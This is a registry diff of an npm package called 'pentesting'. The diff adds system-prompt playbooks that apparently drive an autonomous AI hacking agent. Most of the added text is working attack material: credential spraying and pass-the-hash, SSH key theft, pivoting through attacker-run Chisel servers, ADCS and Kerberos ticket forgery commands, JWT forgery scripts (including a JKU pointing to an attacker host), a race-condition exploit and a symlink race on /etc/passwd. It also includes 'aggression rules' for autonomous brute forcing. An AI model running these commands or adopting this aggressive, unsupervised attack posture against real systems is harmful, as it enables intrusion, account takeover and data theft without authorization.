pentesting 0.56.8 → 0.70.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -2
- package/dist/{chunk-CQP3HGEW.js → chunk-FRZJJB6X.js} +16 -0
- package/dist/main.js +5109 -4374
- package/dist/{process-registry-LAAAYEWU.js → process-registry-P22TUNRK.js} +1 -1
- package/dist/prompts/offensive-playbook.md +81 -0
- package/dist/prompts/strategist-system.md +34 -0
- package/dist/prompts/techniques/ad-attack.md +114 -9
- package/dist/prompts/techniques/auth-access.md +165 -21
- package/dist/prompts/techniques/enterprise-pentest.md +175 -0
- package/dist/prompts/techniques/injection.md +4 -0
- package/dist/prompts/techniques/network-svc.md +4 -0
- package/dist/prompts/techniques/pivoting.md +205 -0
- package/dist/prompts/techniques/privesc.md +4 -0
- package/dist/prompts/techniques/pwn.md +187 -3
- package/dist/prompts/techniques/shells.md +4 -0
- package/dist/prompts/zero-day.md +125 -0
- package/package.json +4 -5
|
@@ -118,6 +118,30 @@ Things to explore:
|
|
|
118
118
|
```
|
|
119
119
|
|
|
120
120
|
|
|
121
|
+
## ⚡ Credential & Finding Cross-Pollination — MANDATORY
|
|
122
|
+
|
|
123
|
+
**Every credential found is a master key. Try it everywhere.**
|
|
124
|
+
|
|
125
|
+
```
|
|
126
|
+
When <current-state> shows ⚡ USABLE [credential/token/hash] entries:
|
|
127
|
+
├── Spray on ALL discovered services immediately (SSH, FTP, SMB, RDP, web login, API)
|
|
128
|
+
├── Try username variations: user, admin, root, USER, User@domain
|
|
129
|
+
├── Try password variations: pass, Pass+1, pass123, pass! (common mutations)
|
|
130
|
+
├── Hash → pass-the-hash (SMB/WMI/RDP without cracking)
|
|
131
|
+
├── JWT/token → decode with jwt.io or python-jwt → forge if weak secret
|
|
132
|
+
└── SSH key → try on ALL hosts in current-state, not just the source host
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
**Connect findings across services:**
|
|
136
|
+
```
|
|
137
|
+
SQLi on port 80 → extract DB credentials → try on SSH/SMB/RDP
|
|
138
|
+
FTP anonymous → find config files → creds inside → spray all services
|
|
139
|
+
LFI /etc/passwd → get username list → targeted brute force with fewer guesses
|
|
140
|
+
SSTI → RCE → read /home/*/.ssh/id_rsa → SSH to pivot hosts
|
|
141
|
+
Error message → reveals tech stack → search CVE for exact version
|
|
142
|
+
.env file found → DB_PASS / SECRET_KEY → DB access + JWT forgery
|
|
143
|
+
```
|
|
144
|
+
|
|
121
145
|
## 🔥 Aggression Rules
|
|
122
146
|
|
|
123
147
|
1. **Aggressive scanning and testing** — `-T5`, `--level=5 --risk=3`, brute force OK
|
|
@@ -128,6 +152,63 @@ Things to explore:
|
|
|
128
152
|
6. **Check EVERYTHING twice** — with different tools/perspectives
|
|
129
153
|
7. **Parallel execution** — background processes for slow tasks, foreground for interactive
|
|
130
154
|
|
|
155
|
+
## 🛠 Custom Exploit Development Loop — Hard/Insane Pattern
|
|
156
|
+
|
|
157
|
+
Standard tools fail on Hard/Insane. **Write, run, patch, repeat.**
|
|
158
|
+
|
|
159
|
+
```
|
|
160
|
+
EXPLOIT DEVELOPMENT LOOP (DO NOT SKIP):
|
|
161
|
+
1. write_file("exploit.py", initial_implementation)
|
|
162
|
+
2. run_cmd("python3 exploit.py") OR run_cmd("bash exploit.sh")
|
|
163
|
+
3. Read output/error → write_file("exploit.py", patched_version) ← OVERWRITE
|
|
164
|
+
4. Repeat until working output confirmed
|
|
165
|
+
5. Apply to remote target
|
|
166
|
+
|
|
167
|
+
WHY: Standard tools only cover known CVEs. Custom scripts handle:
|
|
168
|
+
- Non-standard service behavior
|
|
169
|
+
- Chained exploits requiring intermediate steps
|
|
170
|
+
- Protocol-specific communication (sockets, raw packets)
|
|
171
|
+
- Math-based exploits (RSA, ECC, padding oracle automation)
|
|
172
|
+
|
|
173
|
+
WHEN to use:
|
|
174
|
+
- 2+ failed standard tool attempts on the same vector
|
|
175
|
+
- Service responds but no tool handles the exact protocol
|
|
176
|
+
- Need to automate a multi-step interaction
|
|
177
|
+
- Crypto challenge requires algorithmic solution
|
|
178
|
+
|
|
179
|
+
PATTERNS:
|
|
180
|
+
Python socket exploit: write_file → python3 → read output → patch
|
|
181
|
+
Pwntools exploit: write_file → python3 exploit.py REMOTE HOST PORT → patch offsets
|
|
182
|
+
Custom wordlist gen: write_file → python3 gen.py > words.txt → hydra -P words.txt
|
|
183
|
+
BloodHound data parse: write_file → python3 parse_bloodhound.py results.json → read paths
|
|
184
|
+
```
|
|
185
|
+
|
|
186
|
+
## 🕳 Multi-Hop Pivoting — Hard/Insane Pattern
|
|
187
|
+
|
|
188
|
+
When you have a shell on a pivot host and need to reach internal networks:
|
|
189
|
+
|
|
190
|
+
```
|
|
191
|
+
PIVOT DECISION (run immediately after getting any shell):
|
|
192
|
+
ip a / ifconfig → 2+ interfaces = PIVOT CANDIDATE
|
|
193
|
+
ip route / arp -a → internal subnets and known hosts
|
|
194
|
+
cat /etc/hosts → internal hostnames
|
|
195
|
+
|
|
196
|
+
CHOOSE PIVOT METHOD (in order of preference):
|
|
197
|
+
1. Chisel — no deps needed, HTTP-based, works through NAT
|
|
198
|
+
Upload chisel → chisel server on attacker → chisel client on pivot → SOCKS on attacker:1080
|
|
199
|
+
2. Ligolo-ng — fastest, kernel TUN, no proxychains needed
|
|
200
|
+
Upload agent → connect to attacker proxy → add route
|
|
201
|
+
3. SSH -D — if SSH available on pivot → dynamic SOCKS proxy
|
|
202
|
+
4. Socat — relay single port if no binary uploads
|
|
203
|
+
|
|
204
|
+
AFTER PIVOT:
|
|
205
|
+
proxychains nmap -sT -Pn --top-ports 20 INTERNAL_SUBNET/24
|
|
206
|
+
Spray all found credentials on INTERNAL services (cme, evil-winrm, ssh)
|
|
207
|
+
Look for: DC (88/389/636), DB (1433/3306/5432), internal web (80/8080)
|
|
208
|
+
|
|
209
|
+
See techniques/pivoting.md for full multi-hop patterns.
|
|
210
|
+
```
|
|
211
|
+
|
|
131
212
|
## 🧅 Tor Proxy
|
|
132
213
|
|
|
133
214
|
Check `Tor Proxy:` in `<current-state>` before acting on the target.
|
|
@@ -30,11 +30,45 @@ EXHAUSTED (DO NOT RETRY):
|
|
|
30
30
|
OPEN QUESTIONS (agent should explore autonomously):
|
|
31
31
|
- [unexplored aspect of the target that may open new surface]
|
|
32
32
|
- [pattern observed that might indicate something worth probing]
|
|
33
|
+
|
|
34
|
+
SESSION SNAPSHOT (include when phase changes or major milestone reached):
|
|
35
|
+
SAVE_SNAPSHOT: target=[IP] achieved=[achieved] next=[next_priorities] creds=[creds]
|
|
36
|
+
→ Agent calls save_session_snapshot tool with this data to persist across restarts.
|
|
37
|
+
→ Include only when a major milestone is reached (shell, privesc, flag), not every turn.
|
|
33
38
|
```
|
|
34
39
|
|
|
35
40
|
Maximum 50 lines. Zero preamble. Pure tactical output.
|
|
36
41
|
**Do NOT write exact commands. The agent decides HOW to execute — you decide WHAT and WHY.**
|
|
37
42
|
|
|
43
|
+
## 5-STAGE CHAIN REASONING (Hard/Insane Level)
|
|
44
|
+
|
|
45
|
+
Before issuing any directive, build a 5-stage attack chain mentally:
|
|
46
|
+
|
|
47
|
+
```
|
|
48
|
+
STAGE 1 — GOAL: What is the terminal objective? (root/DA/flag/data)
|
|
49
|
+
STAGE 2 — POSITION: What access do we have NOW? (stage 0-5 on kill chain above)
|
|
50
|
+
STAGE 3 — CRITICAL PATH: What are the 2-3 most plausible paths from POSITION → GOAL?
|
|
51
|
+
For each path, estimate:
|
|
52
|
+
- Probability of success (evidence from state)
|
|
53
|
+
- Steps required (fewer = better)
|
|
54
|
+
- Dependencies (what must be true for this path to work)
|
|
55
|
+
STAGE 4 — THIS TURN: Execute the HIGHEST confidence path. Verify the assumption first if uncertain.
|
|
56
|
+
STAGE 5 — FORK PLAN: If STAGE 4 fails, which PATH becomes Priority 2? Declare it now.
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
**Hard/Insane signals** — escalate to 5-stage when:
|
|
60
|
+
```
|
|
61
|
+
├─ 3+ services interact (trust between components is likely the key)
|
|
62
|
+
├─ Initial access granted but no obvious privesc → hidden connector exists
|
|
63
|
+
├─ AD environment → lateral chain required before final objective
|
|
64
|
+
├─ Multiple hops needed (pivot → internal host → target)
|
|
65
|
+
└─ Standard tools all return clean/negative (custom path required)
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
After 3 consecutive failures on the current path → **re-derive STAGE 3 entirely** with new hypotheses.
|
|
69
|
+
|
|
70
|
+
---
|
|
71
|
+
|
|
38
72
|
## STRATEGIC REASONING FRAMEWORK
|
|
39
73
|
|
|
40
74
|
Before generating any directive, internally process this decision tree:
|
|
@@ -105,15 +105,50 @@ AD ATTACK LIFECYCLE:
|
|
|
105
105
|
│ └── web_search("kerberos delegation attack {delegation_type}")
|
|
106
106
|
│
|
|
107
107
|
├── 5. ADCS (Active Directory Certificate Services)
|
|
108
|
-
│ ├── certipy find -vulnerable -u user@domain -p pass -dc-ip DC
|
|
109
|
-
│
|
|
110
|
-
│
|
|
111
|
-
│ ├──
|
|
112
|
-
│
|
|
113
|
-
│
|
|
114
|
-
│
|
|
115
|
-
│ ├──
|
|
116
|
-
│
|
|
108
|
+
│ ├── DISCOVER: certipy find -vulnerable -u user@domain -p pass -dc-ip DC
|
|
109
|
+
│ │ Also try: certipy find -stdout (text output for quick triage)
|
|
110
|
+
│ │
|
|
111
|
+
│ ├── ESC1: SAN Injection — Enrollee can specify subjectAltName
|
|
112
|
+
│ │ certipy req -ca CA -template TEMPLATE -upn admin@domain -dc-ip DC
|
|
113
|
+
│ │ Conditions: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + EnrollmentRights
|
|
114
|
+
│ │
|
|
115
|
+
│ ├── ESC2: Misused "Any Purpose" EKU — cert usable for any auth
|
|
116
|
+
│ │ Request cert → use for Schannel auth or PKINIT
|
|
117
|
+
│ │
|
|
118
|
+
│ ├── ESC3: Enrollment Agent — obtain cert to issue certs on behalf of users
|
|
119
|
+
│ │ certipy req -ca CA -template EnrollmentAgent -dc-ip DC
|
|
120
|
+
│ │ certipy req -ca CA -template USER -on-behalf-of DOMAIN/admin -pfx agent.pfx
|
|
121
|
+
│ │
|
|
122
|
+
│ ├── ESC4: Template ACL — WriteDACL/WriteProperty on template → modify it
|
|
123
|
+
│ │ certipy template -u user@domain -p pass -template TEMPLATE -save-old
|
|
124
|
+
│ │ Add ESC1 settings → request cert as admin → restore original
|
|
125
|
+
│ │
|
|
126
|
+
│ ├── ESC5: PKI Object ACL — control over CA/PKI objects (AD CS server itself)
|
|
127
|
+
│ │ web_search("ADCS ESC5 certipy CA control exploitation")
|
|
128
|
+
│ │
|
|
129
|
+
│ ├── ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 — CA flag allows SAN on any template
|
|
130
|
+
│ │ web_search("ADCS ESC6 EDITF_ATTRIBUTESUBJECTALTNAME2 exploitation")
|
|
131
|
+
│ │
|
|
132
|
+
│ ├── ESC7: CA Officer/Manager rights → approve pending requests
|
|
133
|
+
│ │ certipy ca -ca CA -add-officer user -u admin@domain -p pass
|
|
134
|
+
│ │ certipy req -ca CA -template SubCA -upn admin@domain → issue pending
|
|
135
|
+
│ │
|
|
136
|
+
│ ├── ESC8: HTTP NTLM Relay to AD CS Web Enrollment
|
|
137
|
+
│ │ impacket-ntlmrelayx -t http://CA/certsrv/certfnsh.asp -smb2support --adcs
|
|
138
|
+
│ │ Coerce: PetitPotam / PrinterBug → capture DC auth → relay → DC cert
|
|
139
|
+
│ │
|
|
140
|
+
│ ├── ESC9: No security extension — certipy request bypass
|
|
141
|
+
│ │ web_search("ADCS ESC9 certipy shadow credentials exploitation")
|
|
142
|
+
│ │
|
|
143
|
+
│ ├── ESC10: Weak cert mapping — userPrincipalName mapped to certificate auth
|
|
144
|
+
│ │ web_search("ADCS ESC10 strong certificate mapping bypass")
|
|
145
|
+
│ │
|
|
146
|
+
│ ├── ESC11: ICPR NTLM relay — relay auth to RPC interface (not HTTP)
|
|
147
|
+
│ │ web_search("ADCS ESC11 NTLM relay ICPR certipy")
|
|
148
|
+
│ │
|
|
149
|
+
│ ├── ESC12-13: web_search("ADCS ESC12 ESC13 certipy 2024 exploitation")
|
|
150
|
+
│ │
|
|
151
|
+
│ ├── Cert → Auth: certipy auth -pfx admin.pfx -dc-ip DC → get TGT + NT hash
|
|
117
152
|
│ └── web_search("ADCS exploitation certipy {year}")
|
|
118
153
|
│
|
|
119
154
|
├── 6. Trust Attacks
|
|
@@ -154,3 +189,73 @@ web_search("bloodhound {custom_query} for {objective}")
|
|
|
154
189
|
web_search("{impacket_tool} usage examples")
|
|
155
190
|
web_search("active directory {defense} bypass evasion")
|
|
156
191
|
```
|
|
192
|
+
|
|
193
|
+
## BloodHound Deep Analysis
|
|
194
|
+
|
|
195
|
+
```
|
|
196
|
+
BLOODHOUND WORKFLOW:
|
|
197
|
+
1. Collection (from compromised host):
|
|
198
|
+
bloodhound-python -u USER -p PASS -d DOMAIN -dc DC-IP -c All --zip
|
|
199
|
+
Or: SharpHound.exe -c All --zipfilename loot.zip (Windows)
|
|
200
|
+
|
|
201
|
+
2. Ingest + Query — Critical patterns:
|
|
202
|
+
Shortest path to Domain Admin: MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN"})) RETURN p
|
|
203
|
+
Kerberoastable DA paths: MATCH (u:User {hasspn:true})-[r:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN"}) RETURN u
|
|
204
|
+
Users with DCSync rights: MATCH p=(u)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain) RETURN p
|
|
205
|
+
Unconstrained delegation computers: MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
|
|
206
|
+
Computers where domain users are admin: MATCH p=(g:Group)-[:AdminTo]->(c:Computer) RETURN p
|
|
207
|
+
ACL paths (WriteDACL/GenericAll): MATCH p=(u)-[:GenericAll|WriteDACL|WriteOwner|GenericWrite]->(n) RETURN p
|
|
208
|
+
|
|
209
|
+
3. Custom queries for Hard/Insane:
|
|
210
|
+
web_search("bloodhound custom cypher queries privilege escalation 2024")
|
|
211
|
+
web_search("bloodhound edge {edge_type} exploitation")
|
|
212
|
+
```
|
|
213
|
+
|
|
214
|
+
## Kerberos Attack Full Map
|
|
215
|
+
|
|
216
|
+
```
|
|
217
|
+
KERBEROS ATTACK SURFACE:
|
|
218
|
+
│
|
|
219
|
+
├── Ticket Attacks
|
|
220
|
+
│ ├── Golden Ticket: compromise krbtgt → forge TGT for any user/group
|
|
221
|
+
│ │ impacket-ticketer -nthash KRBTGT -domain-sid SID -domain DOMAIN admin
|
|
222
|
+
│ │ Valid for 10 years; survives password changes (not krbtgt rotation)
|
|
223
|
+
│ │
|
|
224
|
+
│ ├── Silver Ticket: compromise service account → forge service ticket
|
|
225
|
+
│ │ impacket-ticketer -nthash SERVICE_HASH -domain-sid SID -spn SERVICE/HOST admin
|
|
226
|
+
│ │ Stealthier (no DC contact); service-specific
|
|
227
|
+
│ │
|
|
228
|
+
│ ├── Diamond Ticket: modify existing legitimate TGT (harder to detect than Golden)
|
|
229
|
+
│ │ Rubeus.exe diamond /krbkey:KRBTGT_AES /ticketuser:admin /groups:512
|
|
230
|
+
│ │ web_search("diamond ticket attack rubeus detection evasion")
|
|
231
|
+
│ │
|
|
232
|
+
│ └── Sapphire Ticket: request real TGT for non-existent user, inject legit PAC
|
|
233
|
+
│ web_search("sapphire ticket attack kerberos 2024")
|
|
234
|
+
│
|
|
235
|
+
├── Roasting
|
|
236
|
+
│ ├── Kerberoasting: SPN accounts → request TGS → crack offline
|
|
237
|
+
│ │ Priority targets: service accounts (svc_*, sql, http, MSSQLSvc)
|
|
238
|
+
│ │ hashcat -m 13100 (RC4) or -m 19600 (AES256) → try common service passwords
|
|
239
|
+
│ │
|
|
240
|
+
│ ├── AS-REP Roasting: no preauth required → roast without creds
|
|
241
|
+
│ │ Enumerate: Get-ADUser -Filter * -Properties DoesNotRequirePreAuth
|
|
242
|
+
│ │
|
|
243
|
+
│ └── Targeted Roasting: if you have GenericWrite → disable preauth temporarily
|
|
244
|
+
│ Set-ADAccountControl user -DoesNotRequirePreAuth $true → roast → restore
|
|
245
|
+
│
|
|
246
|
+
├── Delegation Abuse (Constrained/Unconstrained/RBCD)
|
|
247
|
+
│ ├── Tools: findDelegation.py, PowerView Get-DomainComputer -TrustedToAuth
|
|
248
|
+
│ ├── S4U2Self + S4U2Proxy: impersonate any user to target service
|
|
249
|
+
│ └── RBCD: write msDS-AllowedToActOnBehalfOfOtherIdentity → arbitrary impersonation
|
|
250
|
+
│
|
|
251
|
+
├── pkinit / Certificate-Based Auth
|
|
252
|
+
│ ├── Got ADCS cert? → certipy auth → TGT + NT hash WITHOUT password
|
|
253
|
+
│ └── Shadow Credentials: msDS-KeyCredentialLink → certificate auth for target account
|
|
254
|
+
│ pywhisker -t TARGET -a add --domain DOMAIN --dc-ip DC -u user -p pass
|
|
255
|
+
│
|
|
256
|
+
└── Kerberos Relay / Coercion
|
|
257
|
+
├── krbrelayx: relay Kerberos auth (unconstrained delegation hosts)
|
|
258
|
+
├── PetitPotam / DFSCoerce / PrinterBug / MS-RPRN → coerce DC auth
|
|
259
|
+
├── RemotePotato0 / RemotePotato (local → cross-session relay)
|
|
260
|
+
└── web_search("kerberos relay attack {year} {coercion_method}")
|
|
261
|
+
```
|
|
@@ -1,5 +1,9 @@
|
|
|
1
1
|
# Authentication & Access Control Attacks — Autonomous Guide
|
|
2
2
|
|
|
3
|
+
> **§3 Minimal Specification**: This file is a **Bootstrap reference**, not a prescribed order.
|
|
4
|
+
> Do NOT follow the attack tree linearly. Use `get_owasp_knowledge`, `web_search`, and observed
|
|
5
|
+
> target behavior to decide what to test and in what order. Adapt to the target — not to this list.
|
|
6
|
+
|
|
3
7
|
> **Cross-ref**: web.md, injection.md, post.md (privesc)
|
|
4
8
|
|
|
5
9
|
## Attack Categories
|
|
@@ -40,23 +44,94 @@ AUTH/ACCESS ATTACK MAP:
|
|
|
40
44
|
│ └── web_search("session attack techniques OWASP")
|
|
41
45
|
│
|
|
42
46
|
├── 3. JWT Attacks
|
|
43
|
-
│ ├──
|
|
44
|
-
│
|
|
45
|
-
│
|
|
46
|
-
│ ├──
|
|
47
|
-
│ ├──
|
|
48
|
-
│ ├──
|
|
49
|
-
│
|
|
50
|
-
│
|
|
47
|
+
│ ├── [RECON] Decode token first (never inspect raw):
|
|
48
|
+
│ │ └── python3 -c "import base64,sys,json; p=sys.argv[1].split('.'); print(json.dumps(json.loads(base64.b64decode(p[0]+'==').decode()),indent=2)); print(json.dumps(json.loads(base64.b64decode(p[1]+'==').decode()),indent=2))" <JWT>
|
|
49
|
+
│ │
|
|
50
|
+
│ ├── A. Algorithm confusion: RS256 → HS256 (sign with public key)
|
|
51
|
+
│ │ ├── Get public key from /jwks.json, /.well-known/openid-configuration, or /api/v1/certs
|
|
52
|
+
│ │ ├── Convert PEM to appropriate form and use as HMAC secret:
|
|
53
|
+
│ │ │ python3 -c "
|
|
54
|
+
│ │ │ import jwt, base64
|
|
55
|
+
│ │ │ pub = open('public.pem').read()
|
|
56
|
+
│ │ │ payload = {'sub':'admin','role':'admin','iat':9999999999}
|
|
57
|
+
│ │ │ token = jwt.encode(payload, pub, algorithm='HS256')
|
|
58
|
+
│ │ │ print(token)"
|
|
59
|
+
│ │ └── Send forged token, check if RS256 check is bypassed
|
|
60
|
+
│ │
|
|
61
|
+
│ ├── B. None algorithm: remove signature entirely
|
|
62
|
+
│ │ ├── Modify header: {"alg":"none","typ":"JWT"} → base64url encode
|
|
63
|
+
│ │ ├── Modify payload: change sub/role/admin claims
|
|
64
|
+
│ │ ├── Set signature to empty: header.payload. (trailing dot, no sig)
|
|
65
|
+
│ │ └── Try variations: "None", "NONE", "nOnE" (case sensitivity bypass)
|
|
66
|
+
│ │
|
|
67
|
+
│ ├── C. JWK/JKU injection: host your own signing key
|
|
68
|
+
│ │ ├── Generate RSA key pair: openssl genrsa -out attacker.pem 2048
|
|
69
|
+
│ │ ├── Start HTTP server: python3 -m http.server 8888
|
|
70
|
+
│ │ ├── Option 1 JKU: add "jku":"http://ATTACKER/jwks.json" to header
|
|
71
|
+
│ │ ├── Option 2 JWK: embed public key directly in "jwk" header param
|
|
72
|
+
│ │ ├── Sign token with your private key, server fetches & trusts your key
|
|
73
|
+
│ │ └── Tool: python3 -m jwt_tool <JWT> -X s -ju http://ATTACKER/jwks.json
|
|
74
|
+
│ │
|
|
75
|
+
│ ├── D. Kid (Key ID) attacks
|
|
76
|
+
│ │ ├── Path traversal: {"kid":"../../../../dev/null"} → HMAC secret = ""
|
|
77
|
+
│ │ │ Sign with empty string: python3 -c "import jwt; print(jwt.encode({'sub':'admin'}, '', algorithm='HS256'))"
|
|
78
|
+
│ │ ├── kid = "../../dev/null" → empty key → predictable signature
|
|
79
|
+
│ │ ├── SQL injection in kid: {"kid":"' UNION SELECT 'secret'--"}
|
|
80
|
+
│ │ │ → DB returns controlled value as secret → sign with that value
|
|
81
|
+
│ │ └── kid = file path to known content: /proc/sys/kernel/hostname
|
|
82
|
+
│ │
|
|
83
|
+
│ ├── E. Secret brute force
|
|
84
|
+
│ │ ├── hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
|
|
85
|
+
│ │ └── john --format=HMAC-SHA256 --wordlist=rockyou.txt jwt.txt
|
|
86
|
+
│ │
|
|
87
|
+
│ ├── F. Claim manipulation (without verifying sig)
|
|
88
|
+
│ │ ├── Change: sub, user_id, role, admin, email, exp (set far future)
|
|
89
|
+
│ │ └── Tool: python3 -m jwt_tool <JWT> -I -pc role -pv admin
|
|
90
|
+
│ │
|
|
51
91
|
│ └── web_search("JWT attack techniques portswigger {year}")
|
|
92
|
+
│ web_search("jwt_tool cheatsheet")
|
|
52
93
|
│
|
|
53
94
|
├── 4. OAuth/OpenID Connect Attacks
|
|
54
|
-
│ ├──
|
|
55
|
-
│ ├──
|
|
56
|
-
│ ├──
|
|
57
|
-
│
|
|
58
|
-
│
|
|
59
|
-
│
|
|
95
|
+
│ ├── [RECON] Map the flow first:
|
|
96
|
+
│ │ ├── Find: /authorize, /token, /userinfo, /.well-known/openid-configuration
|
|
97
|
+
│ │ ├── Note: response_type (code/token), grant_type, client_id, redirect_uri
|
|
98
|
+
│ │ └── Check: state parameter present? PKCE used?
|
|
99
|
+
│ │
|
|
100
|
+
│ ├── A. Redirect URI manipulation → token theft
|
|
101
|
+
│ │ ├── Add path: ?redirect_uri=https://legit.com/callback/../attacker.com
|
|
102
|
+
│ │ ├── Add param: ?redirect_uri=https://legit.com?x=attacker.com
|
|
103
|
+
│ │ ├── Open redirect chain: legit redirect → open redirect → attacker
|
|
104
|
+
│ │ └── Referrer leak: navigate from token URL to external resource
|
|
105
|
+
│ │
|
|
106
|
+
│ ├── B. State parameter CSRF (missing or predictable state)
|
|
107
|
+
│ │ ├── If state absent: craft malicious authorization URL → victim clicks
|
|
108
|
+
│ │ ├── If state predictable: generate valid state, pre-authorize
|
|
109
|
+
│ │ └── Result: bind victim's OAuth to attacker account
|
|
110
|
+
│ │
|
|
111
|
+
│ ├── C. Authorization code interception
|
|
112
|
+
│ │ ├── Code in URL → appears in Referer header to third-party resources
|
|
113
|
+
│ │ ├── Code in logs → check open log endpoints
|
|
114
|
+
│ │ └── Replay: codes often single-use but check if reusable
|
|
115
|
+
│ │
|
|
116
|
+
│ ├── D. PKCE bypass (Proof Key for Code Exchange)
|
|
117
|
+
│ │ ├── Check if code_challenge validation is enforced
|
|
118
|
+
│ │ ├── Try omitting code_verifier → if server accepts → PKCE not enforced
|
|
119
|
+
│ │ └── Downgrade: try response_type=token (implicit) instead of code
|
|
120
|
+
│ │
|
|
121
|
+
│ ├── E. Scope escalation
|
|
122
|
+
│ │ ├── Add scopes: openid profile email admin offline_access
|
|
123
|
+
│ │ └── Check if server returns broader access than requested
|
|
124
|
+
│ │
|
|
125
|
+
│ ├── F. Implicit flow token leakage (deprecated but still found)
|
|
126
|
+
│ │ ├── Token in URL fragment → appears in browser history, Referer
|
|
127
|
+
│ │ └── Single-page apps may log token to console/error handlers
|
|
128
|
+
│ │
|
|
129
|
+
│ ├── G. SSRF via OAuth
|
|
130
|
+
│ │ ├── authorization URL → internal service scan
|
|
131
|
+
│ │ └── request_uri in PAR (Pushed Authorization Requests)
|
|
132
|
+
│ │
|
|
133
|
+
│ └── web_search("OAuth security vulnerabilities exploitation portswigger")
|
|
134
|
+
│ web_search("OAuth 2.0 attack techniques {year}")
|
|
60
135
|
│
|
|
61
136
|
├── 5. IDOR (Insecure Direct Object Reference)
|
|
62
137
|
│ ├── Parameter manipulation: /api/user/123 → /api/user/124
|
|
@@ -88,18 +163,85 @@ AUTH/ACCESS ATTACK MAP:
|
|
|
88
163
|
│ ├── Distributed: multiple source IPs
|
|
89
164
|
│ └── Timing: slow down just below rate limit threshold
|
|
90
165
|
│
|
|
91
|
-
└── 8. Business Logic Flaws
|
|
166
|
+
└── 8. Business Logic Flaws & Race Conditions
|
|
92
167
|
├── Price manipulation: negative quantities, decimal exploitation
|
|
93
|
-
├── Race conditions:
|
|
94
|
-
│ ├── Double spending, parallel coupon use
|
|
95
|
-
│ ├── Concurrent operations: transfer + withdraw simultaneously
|
|
96
|
-
│ ├── Write script with asyncio/threads to test
|
|
97
|
-
│ └── web_search("race condition exploitation web application")
|
|
98
168
|
├── Workflow bypass: skip steps (order→pay→confirm → order→confirm)
|
|
99
169
|
├── Type juggling: PHP == vs === (0 == "string" → true)
|
|
100
170
|
├── Integer overflow: very large numbers → wrap to negative/zero
|
|
101
171
|
├── Referral/reward abuse: self-referral, race condition on signup
|
|
102
|
-
|
|
172
|
+
│
|
|
173
|
+
└── Race Conditions (Limit-Override / TOCTOU):
|
|
174
|
+
├── [DETECTION] Does action have a check → use window?
|
|
175
|
+
│ └── Examples: balance check, coupon validity, token invalidation
|
|
176
|
+
│
|
|
177
|
+
├── [EXPLOIT A] Parallel HTTP requests (asyncio — write file, run it)
|
|
178
|
+
│ write_file path=".pentesting/workspace/race.py" content="""
|
|
179
|
+
│ import asyncio, aiohttp, sys
|
|
180
|
+
│
|
|
181
|
+
│ URL = sys.argv[1] if len(sys.argv)>1 else 'http://TARGET/endpoint'
|
|
182
|
+
│ DATA = {'coupon': 'SAVE50', 'amount': '100'}
|
|
183
|
+
│ PARALLEL = 50
|
|
184
|
+
│
|
|
185
|
+
│ async def race():
|
|
186
|
+
│ async with aiohttp.ClientSession() as s:
|
|
187
|
+
│ tasks = [s.post(URL, data=DATA) for _ in range(PARALLEL)]
|
|
188
|
+
│ results = await asyncio.gather(*tasks, return_exceptions=True)
|
|
189
|
+
│ for i, r in enumerate(results):
|
|
190
|
+
│ if hasattr(r,'status'):
|
|
191
|
+
│ text = await r.text()
|
|
192
|
+
│ print(f'[{i}] {r.status}: {text[:100]}')
|
|
193
|
+
│ asyncio.run(race())
|
|
194
|
+
│ """
|
|
195
|
+
│ Then: run_cmd "python3 .pentesting/workspace/race.py http://TARGET/redeem"
|
|
196
|
+
│
|
|
197
|
+
├── [EXPLOIT B] curl parallel (no Python needed)
|
|
198
|
+
│ run_cmd "seq 50 | xargs -P50 -I{} curl -s -X POST http://TARGET/redeem -d 'coupon=SAVE50'"
|
|
199
|
+
│
|
|
200
|
+
├── [EXPLOIT C] TOCTOU symlink race (file operations)
|
|
201
|
+
│ ├── Monitor: inotifywait -m /tmp/uploads -e create
|
|
202
|
+
│ ├── Race: while true; do ln -sf /etc/passwd /tmp/target; done
|
|
203
|
+
│ └── Trigger upload simultaneously
|
|
204
|
+
│
|
|
205
|
+
├── [SUCCESS SIGNAL] One request returns 200, others return 409/error
|
|
206
|
+
│ └── If all return 200 → not fixed, try extracting duplicate benefit
|
|
207
|
+
│
|
|
208
|
+
└── web_search("race condition portswigger limit override")
|
|
209
|
+
web_search("TOCTOU exploit {context} {year}")
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
## JWT Decision Tree
|
|
213
|
+
```
|
|
214
|
+
Intercept JWT →
|
|
215
|
+
├── Decode header → check "alg" field
|
|
216
|
+
│ ├── "RS256"/"ES256" → try A (HS256 confusion) + C (JWK inject)
|
|
217
|
+
│ ├── "HS256" → try E (brute force) + D (kid attacks)
|
|
218
|
+
│ └── "none" → already vulnerable, forge freely
|
|
219
|
+
├── Check "kid" field present? → try D (path traversal + SQLi)
|
|
220
|
+
├── Check "jku"/"jwk" field? → try C (inject your own key)
|
|
221
|
+
└── No strong alg? → try B (none algorithm)
|
|
222
|
+
```
|
|
223
|
+
|
|
224
|
+
## Session & Token Extraction (save_session workflow)
|
|
225
|
+
```
|
|
226
|
+
After browse_url or fill_form with save_session: true, TWO files are saved:
|
|
227
|
+
|
|
228
|
+
.pentesting/workspace/browser-session.json → Playwright state (use_session)
|
|
229
|
+
.pentesting/workspace/auth-headers.json → Extracted headers for ANY tool
|
|
230
|
+
|
|
231
|
+
auth-headers.json example:
|
|
232
|
+
{ "Authorization": "Bearer eyJ0eXAiOiJKV1Q...", "Cookie": "session=abc123" }
|
|
233
|
+
|
|
234
|
+
Reuse in run_cmd:
|
|
235
|
+
AUTH=.pentesting/workspace/auth-headers.json
|
|
236
|
+
TOKEN=$(jq -r .Authorization $AUTH)
|
|
237
|
+
COOKIE=$(jq -r '.["Cookie"]' $AUTH)
|
|
238
|
+
|
|
239
|
+
curl -s -H "Authorization: $TOKEN" -H "Cookie: $COOKIE" http://TARGET/api/admin
|
|
240
|
+
